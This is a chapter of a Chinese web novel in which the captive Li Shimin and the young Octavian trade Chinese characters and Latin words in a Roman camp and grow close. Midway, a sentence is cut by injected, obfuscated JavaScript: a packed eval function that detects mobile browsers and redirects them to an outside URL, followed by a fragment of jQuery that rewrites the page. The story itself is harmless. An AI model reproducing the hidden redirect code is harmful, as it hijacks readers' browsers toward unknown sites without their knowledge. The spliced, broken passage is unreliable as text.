第十一章、入我瓮中


    午后阳光透过亚麻帐帘的缝隙，在夯土地面上切割出几道倾斜的光柱。尘埃在光中缓缓浮沉，像被惊扰的微型星河。


    屋大维站在帐篷外，深吸了一口气。


    距离他上一次踏入这里，仅仅过去一天。但军营里那些窃窃私语、安东尼与凯撒的争吵、还有他自己心中翻腾的复杂情绪，让这一天漫长得如同一个季节。


    他今天没有穿那件显示身份的深蓝斗篷，只着一件简单的白色丘尼卡；胸前靠近心脏的位置，挂着一枚家族的徽章；腰间束着普通的皮带。


    这个细节是刻意为之——他想抹去一些“罗马使者”的痕迹，尽管他自己也不完全清楚这究竟是为了任务，还是为了别的什么。


    阿格里帕跟在他身后一步的距离，像一道沉默的影子。这位挚友今天显得格外警觉，目光锐利地扫视着周围，仿佛随时会有刺客从阴影中跃出。


    “记住你的身份，屋大维。”阿格里帕在掀开帐帘前低声提醒，“观察，学习，但不要被迷惑。”


    屋大维点了点头，但连他自己都无法确信这个点头有多少分量。


    帐帘掀开。


    李世民正坐在那张简陋的木桌旁。今天的他看起来比昨日更加苍白，眼下的阴影在斜射的光线中清晰可见——那是睡眠不足的痕迹，也可能是多日囚禁带来的消耗。


    ?但他挺直的脊背、放在桌面上平稳的双手，以及那双抬起来看向屋大维的眼睛，依然带着那种让屋大维既恼火又着迷的沉静。


    没有问候，没有示意。李世民只是看着他，等待。


    屋大维走到桌边，这次他没有站在对面，而是自然而然地拉开了李世民身旁的另一把凳子——这是帐内仅有的两把座椅之一。


    ?这个动作如此自然，以至于连他自己都愣了一下。


    “今天……”屋大维开口，用拉丁语说了这个词，然后意识到对方听不懂，便指了指从帐帘缝隙中透进来的阳光，做了个“明亮”的手势，“天气不错。”


    这句话完全超出了教学大纲，更像是一种笨拙的示好。屋大维感到自己的耳根微微发热。


    李世民似乎理解了他的意思。他侧头看向那道光柱，点了点头，然后做了一个“请坐”的手势——手掌平摊，指向那把凳子。


    屋大维坐了下来。两人之间的距离比昨天近了一半。


    他从随身携带的皮质书囊中取出蜡板和铁笔，放在桌上。蜡板表面已经被他仔细刮平，露出深色的蜂蜡，等待着新的刻痕。


    “我们从昨天的词开始复习。”屋大维用缓慢的拉丁语说，同时在蜡板上写下第一个词：


    Aqua（水）


    他指着这个词，看向李世民。


    李世民点了点头，用依然生涩但清晰的发音重复。


    然后，李世民做了一个让屋大维完全意外的动作。


    他伸手拿过了铁笔。


    这个动作很自然，没有丝毫犹豫，仿佛这本就是他的权利。


    ?屋大维下意识地想阻止——那是他的笔，他的教学工具——但手伸到一半又停住了。他看见李世民握住笔的姿势，那种熟练而自信的姿态，完全不像一个第一次接触这种书写工具的人。


    李世民在Aqua旁边，用铁笔的尖端，缓缓刻下了一个字符。


    那不是拉丁字母，也不是屋大维见过的任何一种文字。它由几条优美的弧线构成，整体呈左右对称的结构，像一道流动的水纹，又像一片舒展的叶子。


    “水。”李世民用汉语说，然后指了指那个字符。


    屋大维屏住了呼吸。


    他见过希腊文，见过埃及象形文字，见过腓尼基字母。但没有一种文字像这个字符这样——它不仅仅是表音的符号，更像是一幅浓缩的图画，一个被抽象化的意象。那个字符的形状本身就让他联想到波光、流动、透明。


    “这……是你的文字？”屋大维用拉丁语问，同时用手指了指那个字符，又指向李世民。


    李世民似乎理解了这个问题。他点了点头，然后在蜡板上空出的一块区域，又刻下了另一个字：


    火


    这次是一个完全不同的结构，底部平直，上部有向上的尖角，像升腾的火焰。


    “火。”李世民说，同时做了一个火焰跳跃的手势。


    屋大维的眼睛亮了起来。他几乎是急切地拿起另一块备用蜡板——那是他原本准备给李世民练习用的——在上面写下了拉丁语的Ignis，然后推到了李世民面前。


    李世民看了看，在Ignis旁边，再次刻下了那个火焰般的汉字。


    并排的两个词，两种文字，指向同一种事物。


    这一刻，某种东西在屋大维心中被点燃了。那是对知识的纯粹渴望，是跨越文明的好奇，是一个热爱古希腊哲学、历史的少年突然发现了一个全新宇宙时的震撼。


    “教我。”屋大维用拉丁语说，然后指了指汉字，做了一个学习的动作。他完全忘记了自己是老师，对方是学生——此刻，他只想了解更多。


    李世民看着他眼中闪烁的光，嘴角第一次浮现出一个清晰的、几乎可以称为微笑的弧度。他的微微一笑，仿佛乌云散去，雨霁天晴，屋大维清楚地感觉到他们的关系在飞快地拉近。


    接下来的时间，单向的教学变成了双向的奔赴。


    屋大维写下Terra（大地），李世民在旁边刻下“土”——一个简洁的十字结构，象征土地的分割与耕作。


    屋大维写下Caelum（天空），李世民刻下“天”——上方一横代表苍穹，下方一个舒展的人形，寓意“人顶之天”。


    每一个汉字，李世民都会用简单的图画解释其构造逻辑。他用铁笔在蜡板上勾勒出山峦、河流、树木、太阳、月亮——然后展示这些图画如何演变成文字。他讲述“象形”，讲述“指事”，虽然语言不通，但通过图画和手势，屋大维竟能理解七八分。


    “所以你们的文字……是从图画演变而来的？”屋大维用拉丁语喃喃自语，同时画了一个太阳，然后指向“日”字。


    李世民点头。他在太阳图旁边写下了“日”，又在旁边写下了另一个字符“明”——左边是“日”，右边是“月”。


    “日月为明。”李世民用汉语说，然后指了指自己的眼睛，又指了指帐篷外的光，“明亮，明白。”


    屋大维感到一阵战栗从脊椎升起。这是一种完全不同的思维模式——拉丁字母表音，而汉字表意，甚至可以通过组合创造新的含义。这不仅仅是书写系统的差异，这是认知世界方式的差异。


    他着迷地开始在蜡板上模仿书写汉字。第一个是“水”，他画了三次才勉强接近原形；第二个是“山”，他画出了三个山峰；第三个是“人”，一个简单而优雅的侧立人形。


    “不对。”李世民忽然说——这是屋大维第一次听到他用拉丁语以外的语言表达否定。


    李世民伸出手，握住了屋大维握笔的手。


    屋大维的身体僵住了。他有轻微洁癖，从来不喜欢陌生人触碰自己。


    但那只手比他想象的要温暖，手指修长，骨节分明，指腹和虎口有明显的茧——那是长期握持武器留下的痕迹。这提醒着屋大维，眼前这个能够写出如此优美文字的人，也是一个能够挥剑杀敌的战士。


    李世民没有在意他的僵硬，只是轻轻调整了他握笔的姿势，引导他的手腕以一个更自然的弧度移动。铁笔尖端在蜂蜡上划过，这一次，“人”字的笔画流畅了许多。


    “人。”李世民在他耳边用汉语说，气息拂过他耳廓。


    屋大维感到自己的心跳漏了一拍。他从未与一个成年男性有过如此近距离的接触——除了凯撒偶尔的拥抱，但那完全是长辈对晚辈的亲昵。而这一次……这一次不同。


    他强迫自己专注于笔尖。第二个字是“言”，李世民解释说，这像一个人张口说话，下面的横线代表声音传播。


    “言语……思想。”李世民指了指自己的头，又指了指蜡板上的字。


    屋大维突然想起了什么。他在自己的蜡板上写下了拉丁语的Ratio（理性、逻辑），然后看向李世民，等待着他的汉字。


    李世民沉思了片刻。然后，他缓缓写下了两个字：


    道


    这个字比之前的都要复杂。李世民用图画解释：左边是“辵”（行走），右边是“首”（头、思想）——合起来，意味着“用头脑引导行走的道路”，即真理、法则、万物的本源。


    他又在旁边写下了另一个字：


    理


    “玉的纹理，”李世民指着这个字说，“事物的内在规律。”


    屋大维盯着这两个字，久久无法移开视线。他学习过希腊哲学，知道赫拉克利特的“逻各斯”，知道柏拉图的“理念”。但用两个如此具象又如此深邃的字符来表达类似的概念，这是一种他从未想象过的智慧形式。


    “你们……有哲学家吗？”屋大维用拉丁语问，同时画了一个思考的人，又指了指“道”字。


    李世民笑了。这次是一个真正的、完整的笑容，照亮了他苍白的面容，让那双深邃的眼睛里仿佛有星光流转。他点了点头，然后在蜡板上写下了一个名字：


    孔子


    接着是：


    老子


    孟子


    每一个名字，他都用简单的图画和手势解释他们的思想核心——仁义、无为而治、性善论……屋大维如饥似渴地吸收着，尽管只能理解片段，但这些片段已经足够让他震撼。


    时间在笔尖与蜡板的摩擦声中悄然流逝。


    帐外的光线缓缓移动，从斜射变为平射，光柱的颜色从明亮的白色渐变为温暖的金黄。帐篷内的温度逐渐升高，但两人浑然不觉。


    阿格里帕在半个罗马时后第一次掀开帐帘，看见的是屋大维俯身在蜡板前，专注地模仿着汉字的笔画，而李世民在他身旁，时不时指点修正。屋大维的侧脸在光影中显得异常明亮，那是阿格里帕从未见过的、完全沉浸在求知中的神情。


    阿格里帕皱了皱眉，但没有说话，悄然退了出去。


    一个罗马时过去了。


    按照凯撒的命令，教学应该到此结束。但屋大维完全没有停下的意思。他已经学会了二十几个基础汉字，并开始尝试用这些汉字组合简单的概念。


    他写下拉丁语的Libertas（自由），然后看向李世民，期待着他的汉字。


    李世民沉默了片刻。他的眼神黯淡了一瞬，然后缓缓写下了：


    自由


    “自”是一个人指着自己的鼻子，“由”原意是“从……而来”。合起来，意味着“自我主宰的状态”。


    屋大维看着这两个字，又看了看李世民身上简陋的罗马丘尼卡，突然意识到一个残酷的事实：眼前这个能够写出“自由”二字的人，此刻正身处最彻底的不自由中。


    一种强烈的、几乎是生理性的不适涌上心头。屋大维感到自己的脸颊发烫——为罗马的征服，为军营里的流言，也为凯撒那句“玩物”的评价。


    “你……”屋大维用拉丁语开口，却不知道要说什么。他想道歉，想解释，想告诉李世民罗马并非只有野蛮和奴役，但语言像一道无法跨越的鸿沟。


    李世民似乎看懂了他眼中的复杂情绪。他摇了摇头，示意不必多言，然后又在蜡板上写下了另一个词：


    友谊


    他画了两个并肩而立的人，然后指向屋大维，又指向自己。


    屋大维愣住了。友谊？他们之间？一个罗马贵族少年和一个东方俘虏？这可能吗？


    但看着李世民平静而真诚的眼神，屋大维心中某个坚硬的地方开始融化。他想起了军营里那些关于“男宠”、“玩物”的污秽流言，想起了安东尼的愤怒，想起了凯撒冷酷的政治计算——而眼前这个人，在经历了这一切之后，依然愿意向他伸出“友谊”之手。


    屋大维深吸一口气，在蜡板上用拉丁语写下了Amicitia（友谊），然后在旁边，小心翼翼地、一笔一画地模仿出了“友谊”两个汉字。


    这一次，李世民没有纠正他的笔画。他只是点了点头，眼中流露出赞许。


    阿格里帕在第二个罗马时后再次掀开帐帘。


    这次他看见的景象让他眉头锁得更紧：屋大维和李


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224096|197539||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    世民并排坐在桌旁，两人共用一块蜡板，正在上面画一幅地图。


    ?屋大维画出了意大利半岛的轮廓，标出了罗马；李世民则在东方的空白处，画出了一个大致的中夏地形，标出了“长安”。


    这是李世民第一次听到“Roma”这个词，也是屋大维第一次听到“长安”这个词。


    就好像历经千年的等待，这两个词第一次，穿越语言的迷雾，抵达彼此的耳中。像是历史的呼唤，又像是大地的回响，冥冥之中有什么正在改变。


    他们在用图画和仅有的几个共同词汇，艰难而热烈地交流着各自的世界。


    屋大维的脸颊泛着兴奋的红晕，眼睛亮得惊人，已经完全忘记了时间的流逝。


    “屋大维。”阿格里帕用拉丁语低声提醒，“时间到了。”


    屋大维甚至没有抬头，只是挥了挥手：“再等一会儿，阿格里帕。我在学习……非常重要的东西。”


    他的语气里有一种阿格里帕从未听过的、不容置疑的坚决。那不再是那个体弱多病、需要保护的少年，而是一个发现了新大陆的探索者。


    阿格里帕张了张嘴，最终什么也没说，退了出去。他知道，某种变化已经发生了，而他无力阻止。


    第三个罗马时。


    第四个罗马时。


    ?时间失去了意义，李世民想留住一个人的时候，阿格里帕完全束手无策。


    阳光从金黄变为橙红，帐篷内的光线开始昏暗。屋大维命人送来了油灯，跳动的火光照亮了两人的侧脸。


    屋大维完全被迷住了。他从未有过这样的体验——不仅仅是学习新知识，而是在与一个对等（不，甚至是更高层次）的智慧对话。李世民提出的问题往往一针见血，显示出一种深刻的政治洞察力，远超屋大维见过的任何“蛮族”领袖。


    而李世民讲述的东方文化理念，更让屋大维震撼。这是一种与罗马“元老院与人民”相似又不同的政治哲学，更加系统，更加……理想主义。


    “如果……”屋大维用拉丁语喃喃自语，然后用图画表达了一个假设：如果两个国家相遇，是会战争，还是会交流？


    李世民看着那幅画，沉默了很久。然后，他在蜡板上写下了四个汉字：


    有朋自远方来


    他画了一个远方来客，画了主人开门迎接，画了宴席和交谈。


    “不亦乐乎。”李世民用汉语说完，然后指了指屋大维，又指了指自己，笑了。


    屋大维看着那四个优美的字符，看着李世民的笑容，感到心中涌起一股温暖而酸涩的情感。


    ?他忽然明白了凯撒为什么会对这个东方人如此着迷——不是因为肤浅的美色，不是因为异域风情，而是因为在这个人身上，凯撒看到了一个与自己同等、甚至可能更伟大的灵魂。


    而这样一个灵魂，却被困在这顶帐篷里，被当作“战利品”和“玩物”。


    屋大维握紧了拳头。


    黄昏彻底降临。阿格里帕第五次掀开帐帘时，语气已经带上了明显的不安：“屋大维，你必须离开了。天快黑了，而且……有人注意到了。”


    这一次，屋大维终于抬起了头。他的眼中满是不舍，但也有一丝新的决心。


    他看向李世民，用刚刚学会的几个汉字，在蜡板上歪歪扭扭地写下了：


    明天见


    然后又用拉丁语写下：Cras iterum（明天再来）


    李世民看着那些字，点了点头。他也在蜡板上写下了两个汉字：


    珍重


    屋大维不知道这两个字的具体含义，但从李世民的姿态和眼神中，他读出了关切和祝福。


    他站起身，腿因为久坐而有些发麻。他深深看了李世民一眼，似乎要将这一刻的景象刻入记忆——昏黄油灯下，那个身穿粗糙罗马衣衫却有着致命吸引力的身影，那双深邃如夜的眼眸，那抹沉静如水的微笑。


    然后他转身，跟着阿格里帕离开了帐篷。


    走出帐篷的瞬间，晚风拂面，带着高卢秋夜的寒意。


    ?屋大维这才意识到自己已经在里面待了整整一个下午，完全忘记了时间，忘记了疲惫，忘记了使命。他的心中被一种奇异的充实感填满，那是知识的盛宴，是智慧的碰撞，是灵魂的震颤。


    “你完全被他牵着鼻子走了，屋大维。”阿格里帕在他身边低声说，语气里没有指责，只有担忧，“他什么手段都没用，只是……只是坐在那里，写字，画画，说话，你就完全陷进去了。”


    屋大维停下脚步，望向西方天际最后一抹暗红的霞光。


    “不，阿格里帕。”他轻声说，声音在晚风中几乎微不可闻，“他没有用任何手段。他只是……让我看见了一个世界。一个和我们一样古老，一样伟大，甚至可能更辽阔的世界。”


    他顿了顿，转过头看向挚友，灰色的眼睛在暮色中异常明亮。


    “而这个世界，现在被我们关在一顶帐篷里。”


    阿格里帕沉默了。他从未见过屋大维露出这样的神情——那不仅仅是少年的好奇，更是一种近乎使命感的沉重。


    “你想做什么？”阿格里帕最终问道。


    屋大维没有立刻回答。他抬头望向统帅大帐的方向，那里已经亮起了灯火。


    “我不知道。”他诚实地说，“但我知道一件事：把这样的人当作‘战利品’，是罗马的耻辱。也是……我的耻辱。”


    他迈步向前走去，步伐比来时更加坚定。


    帐篷内，李世民独自坐在油灯旁。他看着蜡板上那些并排的拉丁文和汉字，看着那些稚嫩却真诚的笔迹，嘴角依然挂着那抹淡淡的微笑。


    他轻轻抹平了蜡板表面，所有字迹消失，蜂蜡恢复深色，等待着下一次书写。


    然后他吹熄了油灯，让帐篷沉入黑暗。


    这是他来到这个陌生世界后，度过的第六个夜晚。在黑暗中，他轻声说了一句汉语，声音轻得只有自己能听见：


    “孺子可教。”


    窗外，阿莱西亚的第一颗星在夜空中亮起，清冷而遥远，像另一个世界的眼睛，静静注视着这片被鲜血浸透的土地，和土地上那些交织的命运。